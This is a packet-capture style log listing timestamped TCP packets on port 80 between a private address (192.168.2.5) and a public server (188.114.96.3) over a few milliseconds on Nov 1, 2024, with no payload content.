Nov 1, 2024 15:15:00.671783924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671785116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671788931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671801090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671802998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671814919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671822071 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671827078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671837091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671845913 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671848059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671859980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671870947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671878099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671883106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671895027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.671900034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671920061 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.671947956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672249079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672260046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672271013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672282934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672293901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672300100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672307014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672307968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672317982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672359943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672359943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672396898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672409058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672419071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672430038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672436953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672441006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672454119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672466040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672472000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672472000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672477007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672488928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672506094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672508001 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672508001 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672517061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672533989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672545910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672549009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672549009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672558069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672569990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672574997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672581911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672593117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672604084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672615051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672617912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672617912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672621012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672632933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672645092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672656059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672658920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672666073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.672679901 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672692060 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.672719002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673332930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673345089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673355103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673366070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673378944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673388004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673398972 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673405886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673412085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673418045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673429012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673440933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673454046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673456907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673456907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673464060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673475981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673485994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673491001 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673499107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673510075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673512936 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673521996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673532963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673533916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673547029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673552036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673558950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673571110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673580885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673592091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673603058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673604012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673604012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673604012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673615932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673626900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673646927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673646927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673679113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.673952103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673964024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673974991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673985958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.673995972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.674002886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.674017906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.674030066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.674034119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.674034119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.674066067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.676805973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.676872015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.676872969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.676882029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.676898956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.676909924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.676925898 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.676925898 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.676964998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677006960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677018881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677028894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677041054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677052975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677061081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677097082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677098036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677144051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677155018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677166939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677179098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677192926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677196026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677207947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677218914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677231073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677238941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677238941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677238941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677242041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677254915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677267075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677272081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677297115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677297115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677315950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677325964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677335024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677364111 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677366972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677378893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677438974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677439928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677439928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677474022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677484989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677495003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677505970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677510023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677517891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677556038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677556038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677580118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677661896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677674055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677684069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677700996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677714109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677716017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677725077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677738905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677742004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677750111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677762032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677773952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677778959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677778959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677784920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677793980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677798033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677804947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677810907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677818060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.677859068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.677859068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678003073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678014040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678024054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678035975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678050041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678061008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678071976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678083897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678093910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678102016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678102016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678102016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678106070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678117037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678123951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678129911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678136110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678145885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678157091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678168058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678169012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678188086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678212881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678345919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678356886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678368092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678379059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678390980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678400993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678406954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678406954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678411961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678421974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678432941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678440094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678445101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678453922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678471088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678473949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678486109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678495884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678507090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678524017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678524971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678524971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678524971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678534985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678544998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678555965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678566933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678567886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678567886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678579092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678585052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678591013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678626060 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678626060 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678632021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678683043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678683043 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678694963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678705931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678718090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678729057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678739071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678749084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678749084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678751945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678770065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678812027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678834915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678844929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678857088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678868055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678875923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678879976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678890944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678901911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.678917885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678917885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678965092 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.678991079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679007053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679018021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679028988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679039955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679049969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679052114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679052114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679060936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679070950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679081917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679091930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679091930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679094076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679105997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679110050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679119110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679156065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679156065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679178953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679192066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679204941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679217100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679227114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679250002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679250002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679291010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679297924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679308891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679332018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679344893 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679361105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679367065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679373026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679385900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679415941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679436922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679449081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679461002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679474115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679497004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679497004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679497004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679536104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679538012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679548979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679559946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679570913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679580927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679591894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679595947 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679595947 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679604053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679615021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679625034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679636955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679646969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679680109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679680109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.679846048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679862022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679874897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679889917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679902077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.679912090 CET	80	49874	188.114.96.3	192.168.2.5
